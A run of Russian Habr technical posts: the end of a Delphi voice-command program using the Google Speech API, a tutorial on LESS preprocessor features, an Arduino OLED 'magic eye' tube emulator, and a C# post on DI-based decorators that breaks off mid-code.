И в конце данные с FastGainIndicator1 идут на компонент FLACOut1, который и осуществляет запись непосредственно в файл в формате FLAC.
За начало записи отвечает процедура StartRecord.
**2. Отправка файла в Google для распознавания и прием ответа**
Записанный файл с помощью библиотеки Synapse отправляется в Google на распознавание.
Какие есть тонкости при работе с Synapse и тем, что данные нужно отправлять используя HTTPS?
а) Необходимо наличие библиотек libeay32.dll и ssleay32.dll
б) В uses необходимо подключить файл SSL\_OpenSSL
За отправку файла отвечает функция HTTPPostFile.
Вызывается она просто:
HTTPPostFile('https://www.google.com/speech-api/v1/recognize?xjerr=1&client=chromium⟨=ru-RU', 'userfile', ExtractFilename(OutFileName), Stream, StrList);
, где
Stream — это поток TFileStream в который мы читаем наш записанный файл в формате FLAC.
StrList — это TStringList с ответом от Google.
Сама функция HTTPPostFile довольно проста, но есть в ней и тонкости:
```
function TMainForm.HTTPPostFile(Const URL, FieldName, FileName: String; Const Data: TStream; Const ResultData: TStrings): Boolean;
const
CRLF = #$0D + #$0A;
var
HTTP: THTTPSend;
Bound, Str: String;
begin
Bound := IntToHex(Random(MaxInt), 8) + '_Synapse_boundary';
HTTP := THTTPSend.Create;
try
Str := '--' + Bound + CRLF;
Str := Str + 'content-disposition: form-data; name="' + FieldName + '";';
Str := Str + ' filename="' + FileName + '"' + CRLF;
Str := Str + 'Content-Type: audio/x-flac; rate=8000' + CRLF + CRLF;
HTTP.Document.Write(Pointer(Str)^, Length(Str));
HTTP.Document.CopyFrom(Data, 0);
Str := CRLF + '--' + Bound + '--' + CRLF;
HTTP.Document.Write(Pointer(Str)^, Length(Str));
HTTP.MimeType := 'audio/x-flac; rate=8000, boundary=' + Bound;
Result := HTTP.HTTPMethod('POST', URL);
ResultData.LoadFromStream(HTTP.Document);
finally
HTTP.Free;
end;
end;
```
**3. Парсинг строки ответа от Google и выполнение команды**
Строка ответа от Google приходит в формаnе JSON, например:
{«status»:0,«id»:«5e34348f2887c7a3cc27dc3695ab4575-1»,«hypotheses»:[{«utterance»:«блокнот»,«confidence»:0.7581704}]}
Для парсинга я использую библиотеку uJSON.
Что означают поля ответа:
поле status = 0 — запись успешно распознана
поле status = 5 — запись не распознана
поле id — это уникальный идентификатор запроса
поле hypotheses — результат распознования, в нем 2 подполя:
utterance — распознанная фраза
confidence — достоверность распознавания
Отправка файла, разбор ответа, поиск и выполнение команды я вынес в отдельный поток JvThreadRecognize.
Списки команд хранятся в файле MSpeechCommand.ini, пример файла:
`блокнот;notepad.exe
свернуть все программы;script\Show_Desktop.scf
заблокировать компьютер;script\Lock_Workstation.cmd
выключить компьютер;script\Halt_Workstation.cmd
перезагрузить компьютер;script\Reboot_Workstation.cmd
завершить сеанс;script\Logoff_Workstation.cmd
запустить qip;C:\Program Files\QIP Infium\infium.exe
интернет;firefox.exe`
**Итоги:** Данная программа не претендует на звание законченной, это лишь пример использования Google Speech API для выполнения некоторых команд на компьютере (пока это только запуск приложений и выполнение системных команд). Но никто не мешает доработать её и научить двигать мышкой, набирать текст в текстовом редакторе и т.д.
Готовая сборка программы и исходники (GPLv3) доступны на [code.google.com/p/mspeech](http://code.google.com/p/mspeech/)
Буду рад услышать конструктивную критику и пожелания. Спасибо. | https://habr.com/ru/post/144535/ | null | ru | null |
# Малоиспользуемые, но от этого не менее прекрасные возможности LESS
Данный пост навеян [коментарием](http://habrahabr.ru/post/233467/#comment_7870847) уважаемого хабраюзера [SerafimArts](http://habrahabr.ru/users/serafimarts/) о том, что LESS много чего не умеет. Хочется развеять эти крамольные заявления и заодно показать, каким прекрасным может быть LESS, если правильно его готовить.
Примечание: некоторые примеры «из жизни» в данной статье предоставлены для тех людей, кто по каким-то причинам (вплоть до религиозных) не использует Autoprefixer.
Примечание 2: для всего, что написано ниже используется последняя версия LESS, потому что нет вообще ни одной причины её не использовать.
#### Слияния
Они же объединения, они же мерджи ([Merge](http://lesscss.org/features/#merge-feature)). Используются, если вам нужно что-нибудь присоединить через пробел или через запятую. Транзишны, трасформы, множественные бэкграунды, тени (простите за русское слово: бокс-шадоуы звучит как-то неласково) ликуют. Лучше всего за меня скажут примеры.
Объединяем через пробел прямо в миксине
```
.transform (@value) {
transform+_:@value;
}
.transformed {
.transform(rotateX(10deg));
.transform(scale(1.2,1.1))
}
```
Скомпилируется в
```
.transformed {
transform: rotateX(10deg) scale(1.2, 1.1);
}
```
А теперь через запятую
```
.transition (@property: all,@duration: 0s,@delay: 0s,@ease: ease-in-out){
transition+: @arguments;
}
.transitioned {
.transition(width,1s);
.transition(opacity,0.5s,0.2s,linear);
}
```
Превратится в
```
.transitioned {
transition: width 1s 0s ease-in-out, opacity 0.5s 0.2s linear;
}
```
То что нужно. Никаких сложностей с использованием: просто вызовите нужный миксин столько раз, сколько вам надо. Это чем-то даже удобнее способа с неопределенным количеством параметров: жёсткий порядок аргументов не даст вам возможности потеряться. Счастье, да и только.
#### Условия
Вместо привычных if-ов в LESS существуют так называемые гарды (охранники, [guards](http://lesscss.org/features/#mixin-guards-feature)). Суть их в том, чтобы вызывать разные объявления одного миксина в зависимости от различных условий (есть в них что-то от дженериков). Пример из жизни приведен во всё том же комментарии, который меня вдохновил: транзишны для трансформов хотелось бы иметь с префиксами. Да будет так (обратите внимание на ключевое слово when после объявления миксина):
```
//Специальный вариант для трансформа
.transition (@property: all,@duration: 0s,@delay: 0s,@ease: ease-in-out) when (@property=transform) {
-webkit-transition+: -webkit-transform @duration @delay @ease;
-moz-transition+: -moz-transform @duration @delay @ease;
-o-transition+: -o-transform @duration @delay @ease;
transition+: -ms-transform @duration @delay @ease,
transform @duration @delay @ease; //Кажется, -ms-transition официально не существует
}
//И всё остальное.
.transition (@property: all,@duration: 0s,@delay: 0s,@ease: ease-in-out) when not (@property=transform) {
-webkit-transition+: @arguments;
-moz-transition+: @arguments;
-o-transition+: @arguments;
transition+: @arguments;
}
.transitioned {
.transition(width,1s);
.transition(transform,0.5s,0.2s,linear);
}
```
На выходе получаем (форматирование по столбцам моё, остальное сделал препроцессор)
```
.transitioned {
-webkit-transition: width 1s 0s ease-in-out, -webkit-transform 0.5s 0.2s linear;
-moz-transition: width 1s 0s ease-in-out, -moz-transform 0.5s 0.2s linear;
-o-transition: width 1s 0s ease-in-out, -o-transform 0.5s 0.2s linear;
transition: width 1s 0s ease-in-out, -ms-transform 0.5s 0.2s linear,
transform 0.5s 0.2s linear;
}
```
Ну разве это не прекрасно? Гарды поддерживают отношения =, >, <, >=, <=, логические операторы and, or, not, и ещё немного функций для проверки на тип переменной (iscolor, isnumber и т. п.), что позволяет варьировать выбор миксина в значительных пределах. Маленький, но важный нюанс: LESS возьмёт и выполнит все миксины с одним именем, которые пройдут через охрану. Это надо не забывать и дописывать все нужные условия для «остальных» случаев. И я думаю, что это хорошо. А почему это хорошо, будет видно ниже.
#### Циклы
Заявление, что в LESS нету циклов абсолютно верно. Но зато есть рекурсия! Собственно, её и предлагают [использовать](http://lesscss.org/features/#loops-feature) разработчики. В качестве жизненного примера создадим генератор спрайтовых классов для картинки (не пропускайте код, там много комментариев)
```
// Это базовый миксин для бэкграунда. Он простой, как пять копеек, но это всего лишь пример
.spriter (@x: 0,@y: 0) {
background: #cccccc url("my-sprite-img.png") @x*20px @y*30px;
}
//Здесь непосредственно генерируется класс
.generate_sprite(@x,@y) {
.sprite-@{x}-@{y}{
.spriter(@x,@y);
}
}
//Следующие две функции управляющие - задают порядок действий при обходе двумерного массива рекурсией.
//Удобно то, что их можно называть так же, как и основную функцию-генератор.
//LESS будет вызывать все миксины, которые удовлетворят гардам.
.generate_sprite(@x,@y) when (@y=0) and (@x>0) {
.generate_sprite(@x - 1,@spritey);
}
.generate_sprite(@x,@y) when (@y>0){
.generate_sprite(@x,@y - 1);
}
//Числа, которые на один меньше количества столбцов и строк иконок в спрайте
@spritex: 1;
@spritey: 2;
//Запускаем генератор
.generate_sprite(@spritex,@spritey);
```
На выходе получим шесть классов для иконок
```
.sprite-1-2 {
background: #cccccc url("my-sprite-img.png") 20px 60px;
}
.sprite-1-1 {
background: #cccccc url("my-sprite-img.png") 20px 30px;
}
.sprite-1-0 {
background: #cccccc url("my-sprite-img.png") 20px 0px;
}
.sprite-0-2 {
background: #cccccc url("my-sprite-img.png") 0px 60px;
}
.sprite-0-1 {
background: #cccccc url("my-sprite-img.png") 0px 30px;
}
.sprite-0-0 {
background: #cccccc url("my-sprite-img.png") 0px 0px;
}
```
Именно здесь мы использовали то, что вызовутся все подходящие миксины. Ведь благодаря этому нам не пришлось дублировать вызов генератора класса в управляющих структурах. Отлично же.
Наверное, вы скажете, что это извращение. Думаю, вы будете правы. Всё же отсутствие циклов в языке несколько увеличивает сложность в построении таких конструкций. Благо, нужны они не так часто.
#### Внесение кода как параметр
В качестве параметров можно передавать полноценные куски less-кода, которые будут себя вести вполне логично. Примеры — наше всё: показывать проще чем объяснять
```
.placeholder(@content) {
&::-webkit-input-placeholder{
@content();
}
&:-moz-placeholder {
@content();
}
//Пожалуй, для демонстрации хватит
}
.withplaceholder{
.placeholder({
//Вау, мой редактор кода даже подсветит это правильно
color:blue;
font-style: italic;
})
}
```
Лёгким движением руки превращается в
```
.withplaceholder::-webkit-input-placeholder {
color: blue;
font-style: italic;
}
.withplaceholder:-moz-placeholder {
color: blue;
font-style: italic;
}
```
Более того, вы можете во встраиваемый код вставлять вызов других миксинов и всё сработает:
```
.topleft(@position){
top:@position;
left:@position/2;
}
.keyframes(@name,@rules) {
//Можно я обойдусь без вендорных префиксов?
@keyframes @name {
@rules();
};
}
.keyframes(down,{
0% {
.topleft(0);
};
100% {
.topleft(80);
};
});
```
И на выходе
```
@keyframes down {
0% {
top: 0;
left: 0;
}
100% {
top: 80;
left: 40;
}
}
```
Создали весь пак кейфреймов (точнее создали бы, если бы я для краткости и читабельности не пропустил вендорные префиксы) одной единственной командой — идеально.
И ещё одна вкусность напоследок в этом разделе: не любите писать длинные media query? Я вас понимаю: каждый раз одно и тоже. Давайте сократим. Вот такой код
```
@width_mobile: 320px;
@width_tablet: 640px;
.media_mobile(@rules) {
@media screen and (max-width: @width_tablet) and (min-width: @width_mobile) {
@rules();
};
};
.class_parent{
width:300px;
.media_mobile({
width:200px;
.class_child{
width:100px;
}
});
}
```
Станет таким
```
.class_parent {
width: 300px;
}
@media screen and (max-width: 640px) and (min-width: 320px) {
.class_parent {
width: 200px;
}
.class_parent .class_child {
width: 100px;
}
}
```
Не писать каждый раз длинный паровоз media query — это ли не мечта адаптивного верстальщика?
Что можно сказать в итоге. LESS очень активно развивается. Некоторых из этих фичей не было буквально до версии 1.7, которая вышла буквально полгода назад. Лично мне это доставляло некоторые неудобства: часто приходится работать с различными видами анимаций на фронтенде. Однако теперь я практически готов расцеловать разработчиков за этот милый и добрый препроцессор, который прост в освоении (не было никаких проблем в том, чтобы перевести на него даже самых неопытных разработчиков), достаточно мощен для всех (или почти всех) жизненных ситуаций и, что немаловажно, имеет удобный читабельный синтаксис.
Надеюсь, данный пост хоть немного подымет LESS в глазах хабрасообщества. Всем спасибо за внимание.
P.S. Если мне кто-нибудь может подсказать, как сделать подсветку LESS на хабре, буду очень благодарен. | https://habr.com/ru/post/233653/ | null | ru | null |
# «Магический глаз» тёплых ламповых времён — эмуляция на ардуино
В магнитофонах и приёмниках моей юности использовались исчезнувшие ныне ламповые индикаторы уровня на лампах 6E1П или 6Е5С. Сейчас пришла пора ностальгирования по "старым временам" и на алиэкспрессе или амазоне можно купить собранные индикаторы, они почти также популярны как часы на лампах "Никси".
Поскольку лампа требует высокого напряжения для работы, в современных устройствах это решается с помощью преобразователя напряжения на таймере 555 упроавлящим мощным полевым транзистором включенным в первичную обмотку повышающего трансформатора, и дальше вторичная обмотка подключается к умножителю напряжения из 4-5 ступеней. Этого достаточно чтобы преобразовать входные 5 вольт в 250 с током 1-2 ma.
Я хочу поделиться своим домашним проектом, суть которого в эмуляции, насколько возможно, "зелёного глаза" лампы 6E1П с помощью быстрого OLED дисплея, контролируемого платой Arduino:
Самым сложным оказалось подобрать подходящий дисплей. На рынке их огромное количество, и большинство из них легко управляется известной библиотекой [Adafruit-GFX-Library](https://github.com/adafruit/Adafruit-GFX-Library) . Это прекрасная универсальная библиотека, очень простая в использовании, однако при использовании обычных плат Arduino она слишком медленная и не позволяет выводить качественную анимацию. После большого количества неудач методом проб и ошибок был найден [дисплей](https://protosupplies.com/product/oled-1-3-128x64-i2c-blue-display/) на чипе SH1106, размером 128х64 точек и с голубым свечением. Для него предлагается библиотека ардуино [U8G2](https://github.com/olikraus/u8g2). Особенностью этой библиотеки является наличие страничного вывода, т.е. сначала изображение создаётся в памяти контроллера, и затем единственной командой выводится на дисплей. Это позволяет создавать простые анимации с хорошей частотой обновления. Библиотека также содержит команды для построения геометрических примитивов - прямоугольников, треугольников и окружностей. Также возможен вывод простых битмапов, однако он слишком медленный чтобы использовать для анимации. Однако битмапы могут работать как маски для вырезания части изображения, и я использовал такой битмап для придания характерной формы экрана "зеленого глаза" - вертикального прямоугольника с округлой верхней стороной.
Общий принцип построения геометрии из примитивов:
Размеры примитивов меняются динамически в зависимости от напряжения на входе A0 платы Arduino.
Как я уже говорил, эмуляция вполне приблизительная. Хотя геометрию изображения я считаю довольно близкой к оригиналу, монохромность дисплея не позволила создать правильный фон, так что у меня изображение на полностью чёрном фоне, тогда как в оригинальной лампе фон всегда бледно-зелёный.
Была еще одна техническая запинка, которую мне удалось преодолеть. Дисплей этот имеет синее свечение, а мне нужно ярко-зелёное. Проблема решилась с помощью [высокотемпературного скотча](https://sc04.alicdn.com/kf/Hf54506c44a1a4564bf1e52f116654c1a9.jpg) дюймовой ширины, это интенсивно-жёлтая полиимидная липкая лента, материал также называют "каптон". По ширине она идеально соответствует дисплею и будучи аккуратно наклееной, прекрасно превращает голубое свечение экрана в зелёное, очень близкое по цвету к "ламповому".
Для эффектности я добавил к входу Arduino сигнал с простенькой платы микрофона с усилителем от [Adafruit](https://www.adafruit.com/product/1713) .
Дисплей и несколько дополнительных компонент для микрофона я разместил на вырезаной под размер Arduino простенькой монтажной плате, весь монтаж выполнен проводами:
Диаграмма соединения деталей:
Сидя в карантине, я планирую сделать аналогичный вывод для старинного индикатора 6E5С (это западная лампа E81):
Для любопытствующих приведу мой код для Ардуино. Я отнюдь не считаю себя продвинутым программистом микроконтроллеров и никоим образом не претендую на совершенство стиля и кода, меня вполне устраивает что он просто работает.
Для плавности изображения я использую усреднение по 5 замерам. Усреднение написано "руками", пытался использовать стандартную библиотеку RunningAvg, но для простенькой ArduinoUno вместе с библиотекой дисплея не хватает памяти.
Я взял себе за правило добавлять простой информативный header в свой код а также пару строчек, которые при запуске напоминают из какого файла и когда этот код был залит.
`/************************************************************`
* `WHEN: 07-SEP-2020`
* `WHAT: Magic eye emulator with OLED 1.3″ 128×64 I2C Blue Display I2C address 0x3C`
* `https://protosupplies.com/product/oled-1-3-128x64-i2c-blue-display/`
* `Uses Universal 8bit Graphics Library (https://github.com/olikraus/u8g2/)`
* `DETAILS:`
* `without RunningAvg library as per`
* `https://www.powertronika.com/2020/04/reducing-noise-from-sensor-data.html`
* `bitmap for central triangle, side with circle and rectangle`
* `On Mega2056 SDA A20, SCL A21`
* `On UNO SDA A4, SCL A5`
* `Use analogReference() for signal 1-2.5 v`
* `Analog input on A0`
* `Works on direct input from radio receiver /************************************************************/`
`#include #include`
`#ifdef U8X8_HAVE_HW_I2C #include #endif`
`#define ARR_SIZE 5`
`// U8g2 Contructor List (Frame Buffer) // The complete list is available here: https://github.com/olikraus/u8g2/wiki/u8g2setupcpp U8G2_SH1106_128X64_NONAME_F_HW_I2C u8g2(U8G2_R1, /* reset=*/ U8X8_PIN_NONE); int sum, a, y_max, delta_side,delta_y; //delta_side,delta_y - for small side triangles when a>32; y_max - maximum height float p,p_avg,myRA[ARR_SIZE]; byte index;`
`#define owl_width 64 #define owl_height 36 static const unsigned char owl_bits[] U8X8_PROGMEM = { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc0, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc0, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc0, 0x07, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xe0, 0x07, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xe0, 0x0f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xf0, 0x0f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xf0, 0x1f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xf8, 0x1f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xf8, 0x3f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xfc, 0x7f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xfc, 0x7f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xfe, 0xff, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xff, 0xff, 0x01, 0x00, 0x00, 0x00, 0x00, 0x80, 0xff, 0xff, 0x03, 0x00, 0x00, 0x00, 0x00, 0xc0, 0xff, 0xff, 0x07, 0x00, 0x00, 0x00, 0x00, 0xc0, 0xff, 0xff, 0x0f, 0x00, 0x00, 0x00, 0x00, 0xf0, 0xff, 0xff, 0x1f, 0x00, 0x00, 0x00, 0x00, 0xf8, 0xff, 0xff, 0x3f, 0x00, 0x00, 0x00, 0x00, 0xfc, 0xff, 0xff, 0x7f, 0x00, 0x00, 0x00, 0x00, 0xfe, 0xff, 0xff, 0xff, 0x01, 0x00, 0x00, 0x80, 0xff, 0xff, 0xff, 0xff, 0x07, 0x00, 0x00, 0xe0, 0xff, 0xff, 0xff, 0xff, 0x1f, 0x00, 0x00, 0xf8, 0xff, 0xff, 0xff, 0xff, 0xff, 0x00, 0x00, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0x3f, 0xfc, 0xff, 0xff, 0xff };`
`void setup(void) { Serial.begin(115200); u8g2.begin(); Serial.print("Sketch: "); Serial.println(FILE); Serial.print("Uploaded: "); Serial.println(DATE);`
`delta_side=12; delta_y=40; y_max=100; sum=0; index=0; u8g2.setFont(u8g2_font_timR10_tr); u8g2.setFontDirection(2); }`
`void loop(void) { p=analogRead(A0); //averaging sum=sum-myRA[index]; myRA[index]=p; sum+=p; index=(index+1)%ARR_SIZE; p_avg=sum/ARR_SIZE; //myRA.addValue(p); //p_avg=myRA.getAverage(); a=min(map(p_avg,1,60,1,32),80); //drawScreen(a,p_avg,1); //print amplitude drawScreen(a,p_avg,0); //don't print amplitude }`
`void drawScreen(int a, int vu, boolean printVU) { int16_t delta, a_x,a_y,a1,r,r1; u8g2.clearBuffer(); delta=min(32,a); a1=min(a,72); a_y=min(map(a,4,32,18,32),50);//70 a_x=map(delta,4,32,16,10); r=map(delta,4,32,11,8); r1=map(delta,4,32,6,0); if (a<6) u8g2.drawBox(29,0,7,y_max); //central triangle else u8g2.drawTriangle(32,0,32-delta,y_max,32+delta,y_max); if (a1>32) { u8g2.drawTriangle(32-delta_side, delta_y,0,y_max,0,y_max-(a1-32)); u8g2.drawTriangle(32+delta_side, delta_y,64,y_max,64,y_max-(a1-32)); } //side triangles
u8g2.drawTriangle(28,10,a_x,a_y,a_x,10); u8g2.drawBox(0,10,a_x,a_y-10); u8g2.drawDisc(r1+1,a_y-r1-2,r,U8G2_DRAW_LOWER_RIGHT|U8G2_DRAW_LOWER_LEFT); u8g2.drawTriangle(36,10,64-a_x,a_y,64-a_x,10); u8g2.drawBox(64-a_x,10,a_x,a_y-10); u8g2.drawDisc(64-r1-1,a_y-r1-2,r,U8G2_DRAW_LOWER_RIGHT|U8G2_DRAW_LOWER_LEFT); u8g2.setDrawColor(0); u8g2.drawBox(0,0,64,14); u8g2.setBitmapMode(1); u8g2.setDrawColor(0); u8g2.drawXBMP(0,64,owl_width, owl_height, owl_bits); u8g2.setDrawColor(1); if (printVU) { u8g2.setCursor(40, 110); u8g2.print(vu); }
u8g2.sendBuffer();
}`
. | https://habr.com/ru/post/576582/ | null | ru | null |
# Сквозной функционал через обертки
При разработке мы не редко сталкиваемся с ситуацией, когда при выполнении какой-либо бизнес-логики требуется записать логи, аудиты, разослать оповещения. В общем реализовать некоторый сквозной функционал.
Когда масштабы производства небольшие, можно особо не усердствовать и все это делать прямо в методах. Постепенно, конструктор сервиса начинает обрастать входящими сервисами для выполнения БЛ и сквозного функционала. А это уже ILogger, IAuditService, INotifiesSerice.
Не знаю как Вы, а я не люблю много инъекций и большие методы, которые выполняют много действий за раз.
Можно накрутить на код какую либо реализацию АОП. В стеке .NET такие реализации делают инъекции в ваше приложение в нужные места, внешне похожи на магию 80 уровня и, зачастую, имеют проблемы с типизацией и отладкой.
Я попытался найти золотую середину. Если данные проблемы не обошли вас стороной, добро пожаловать под кат.
Спойлер. На самом деле, мне удалось решить чуть больше проблем, чем я описал выше. Например, я могу отдать разработку БЛ одному разработчику, а навешивание сквозного функционала и даже валидации входящих данных — другому **одновременно**.
И помогли мне в этом декораторы и надстройка над DI. Кто-то далее скажет, что это прокси, с радостью обсужу это в комментах.
Итак, что я хочу как разработчик?
* При реализации БЛ не отвлекаться на левый функционал.
* Иметь возможность в юнит тестах тестировать только БЛ. Причем я не люблю делать 100500 моков, чтобы отключить весь вспомогательный функционал. 2-3 — еще ладно, но больше не хочу.
* Понимать, что происходит, не имея 7 пядей во лбу. :)
* Иметь возможность управлять временем жизни сервиса и каждой его обертки **ОТДЕЛЬНО!**
Что я хочу, как проектировщик и лидер команды?
* Иметь возможность декомпозировать задачи наиболее оптимально и с наименьшей связностью, чтобы одновременно можно было задействовать как можно больше разработчиков на разные задачи и при этом чтобы они тратили как можно меньше времени на исследование (если разработчику надо разработать БЛ, а параллельно думать, что и как залогировать, он потратит больше времени на исследование. И так с каждым куском БЛ. Куда проще взяться за записи аудитов и распихать их по всему проекту).
* Оправлять порядком выполнения кода отдельно от его разработки.
Поможет мне в этом вот такой интерфейс.
```
///
/// Обертка для сервиса.
///
/// Класс сервиса.
public interface IDecorator
{
///
/// Делегат для работы декоратора.
///
Func NextDelegate { get; set; }
}
```
**Можно использовать как-то так**
```
interface IService
{
Response Method(Request request);
}
class Service : IService
{
public Response Method(Request request)
{
// BL
}
}
class Wrapper : IDecorator, IService
{
public Func NextDelegate { get; set; }
public Response Method(Request request)
{
// code before
var result = NextDelegate().Method(request);
// code after
return result;
}
}
```
Таким образом, действие у нас будет уходить в глубину.
```
wrapper1
wrapper2
service
end wrapper2
end wrapper1
```
Но, постойте. Это же уже есть в ООП и называется наследование. :D
```
class Service {}
class Wrapper1: Service {}
class Wrapper2: Wrapper1 {}
```
Я как представил, что появится дополнительный сквозной функционал, который придется внедрять по всему приложению в середину или менять местами уже имеющиеся, так у меня на спине волосы дыбом встали.
Но моя лень — это не уважительная причина. Уважительная причина в том, что будут большие проблемы при модульном тестировании функционала в классах Wrapper1 и Wrapper2, тогда как в моем примере NextDelegate можно просто замокать. Более того, у сервиса и каждой обертки свой собственный набор инструментов, которые инжектятся в конструктор, тогда как при наследовании последняя обертка обязана иметь **ненужные** инструменты, чтобы передать их родителям.
Итак, подход принят, осталось придумать, где, как и когда назначать NextDelegate.
Я решил, что самым логичным решением будет делать это там, где я регистрирую сервисы. (Startup.sc, по умолчанию).
**Вот как это выглядит в базовом варианте**
```
services.AddScoped();
services.AddTransient();
services.AddSingleton();
services.AddSingleton(sp =>
{
var wrapper2 = sp.GetService();
wrapper2.NextDelegate = () =>
{
var wrapper1 = sp.GetService();
wrapper1.NextDelegate = () =>
{
return sp.GetService();
};
return wrapper1;
};
return wrapper2;
});
```
В целом, все требования выполнены, но появилась другая проблема — вложенность.
Эту проблему можно решить перебором или рекурсией. Но под капотом. Внешне все должно выглядеть просто и понятно.
**Вот чего мне удалось добиться**
```
services.AddDecoratedScoped(builder =>
{
builder.AddSingletonDecorator();
builder.AddTransientDecorator();
builder.AddScopedDecorator();
});
```
А помогли мне в этом вот эти методы расширения
**А помогли мне в этом вот эти методы расширения и построитель декораций**
```
///
/// Методы расширения для декораторов.
///
public static class DecorationExtensions
{
///
/// Метод регистрации декорируемого сервиса.
///
/// Интерфейс сервиса.
/// Реализация сервиса.
///
/// Коллекция сервисов.
/// Построитель декораций.
/// Коллекцию сервисов после регистрации декораторов.
public static IServiceCollection AddDecorated(
this IServiceCollection serviceCollection, ServiceLifetime lifeTime,
Action> decorationBuilder)
where TImplementation : TDefinition
{
var builder = new DecorationBuilder();
decorationBuilder(builder);
var types = builder.ServiceDescriptors.Select(k => k.ImplementationType).ToArray();
var serviceDescriptor = new ServiceDescriptor(typeof(TImplementation), typeof(TImplementation), lifeTime);
serviceCollection.Add(serviceDescriptor);
foreach (var descriptor in builder.ServiceDescriptors)
{
serviceCollection.Add(descriptor);
}
var resultDescriptor = new ServiceDescriptor(typeof(TDefinition),
ConstructServiceFactory(typeof(TImplementation), types), ServiceLifetime.Transient);
serviceCollection.Add(resultDescriptor);
return serviceCollection;
}
///
/// Метод регистрации декорируемого сервиса с временем жизни Scoped.
///
/// Интерфейс сервиса.
/// Реализация сервиса.
/// Коллекция сервисов.
/// Построитель декораций.
/// Коллекцию сервисов после регистрации декораторов.
public static IServiceCollection AddDecoratedScoped(
this IServiceCollection serviceCollection,
Action> decorationBuilder)
where TImplementation : TDefinition
{
return serviceCollection.AddDecorated(ServiceLifetime.Scoped,
decorationBuilder);
}
///
/// Метод регистрации декорируемого сервиса с временем жизни Singleton.
///
/// Интерфейс сервиса.
/// Реализация сервиса.
/// Коллекция сервисов.
/// Построитель декораций.
/// Коллекцию сервисов после регистрации декораторов.
public static IServiceCollection AddDecoratedSingleton(
this IServiceCollection serviceCollection,
Action> decorationBuilder)
where TImplementation : TDefinition
{
return serviceCollection.AddDecorated(ServiceLifetime.Singleton,
decorationBuilder);
}
///
/// Метод регистрации декорируемого сервиса с временем жизни Transient.
///
/// Интерфейс сервиса.
/// Реализация сервиса.
/// Коллекция сервисов.
/// Построитель декораций.
/// Коллекцию сервисов после регистрации декораторов.
public static IServiceCollection AddDecoratedTransient(
this IServiceCollection serviceCollection,
Action> decorationBuilder)
where TImplementation : TDefinition
{
return serviceCollection.AddDecorated(ServiceLifetime.Transient,
decorationBuilder);
}
///
/// Метод
///
///
///
///
///
private static Func ConstructDecorationActivation(Type implType,
Func next)
{
return x =>
{
var service = (TService) x.GetService(implType);
if (service is IDecorator decorator)
decorator.NextDelegate = () => next(x);
else
throw new InvalidOperationException("Ожидался декоратор");
return service;
};
}
///
/// Создание фабрики для декорируемого сервиса.
///
/// Тип контракта сервиса.
/// Тип реализации сервиса.
/// Типы делегатов в требуемом порядке.
/// Фабрику создания сервиса через DI.
private static Func ConstructServiceFactory(Type serviceType,
Type[] decoratorTypes)
{
return sp =>
{
Func currentFunc = x =>
(TDefinition) x.GetService(serviceType);
foreach (var decorator in decoratorTypes)
{
currentFunc = ConstructDecorationActivation(decorator, currentFunc);
}
return currentFunc(sp);
};
}
}
```
```
///
/// Построитель настроек декораций.
///
/// Интерфейс сервиса.
public class DecorationBuilder
{
private readonly List \_serviceDescriptors = new List();
///
/// Список дескрипторов декораторов.
///
public IReadOnlyCollection ServiceDescriptors => \_serviceDescriptors;
///
/// Добавление декоратора.
///
/// Тип декоратора.
/// Время жизни декоратора.
public void AddDecorator(ServiceLifetime lifeTime) where TDecorator : TService, IDecorator
{
var container = new ServiceDescriptor(typeof(TDecorator), typeof(TDecorator), lifeTime);
\_serviceDescriptors.Add(container);
}
///
/// Добавление декоратора с временем жизни Scoped.
///
/// Тип декоратора.
public void AddScopedDecorator() where TDecorator : TService, IDecorator
{
AddDecorator(ServiceLifetime.Scoped);
}
///
/// Добавление декоратора с временем жизни Singleton.
///
/// Тип декоратора.
public void AddSingletonDecorator() where TDecorator : TService, IDecorator
{
AddDecorator(ServiceLifetime.Singleton);
}
///
/// Добавление декоратора с временем жизни Transient.
///
/// Тип декоратора.
public void AddTransientDecorator() where TDecorator : TService, IDecorator
{
AddDecorator(ServiceLifetime.Transient);
}
}
```
Теперь немного сахара для функциональщиков
**Теперь немного сахара для функциональщиков**
```
///
/// Базовый класс декоратора.
///
/// Тип декорируемого сервиса.
public class DecoratorBase : IDecorator
{
///
/// Делегат для получения следующего декоратора или сервиса.
///
public Func NextDelegate { get; set; }
///
/// Выполнить код декоратора с вызовом следующего декоратора.
///
/// Тип возвращаемого значения.
/// Выполняемый код.
///
protected Task ExecuteAsync(Func> lambda)
{
return lambda(NextDelegate());
}
///
/// Выполнить код декоратора с вызовом следующего декоратора.
///
/// Выполняемый код.
///
protected Task ExecuteAsync(Func lambda)
{
return lambda(NextDelegate());
}
}
```
Имея такой базовый класс, в декораторе, который его наследует, можно писать как-то так
```
public Task MethodAsync(Request request)
{
return ExecuteAsync(async next =>
{
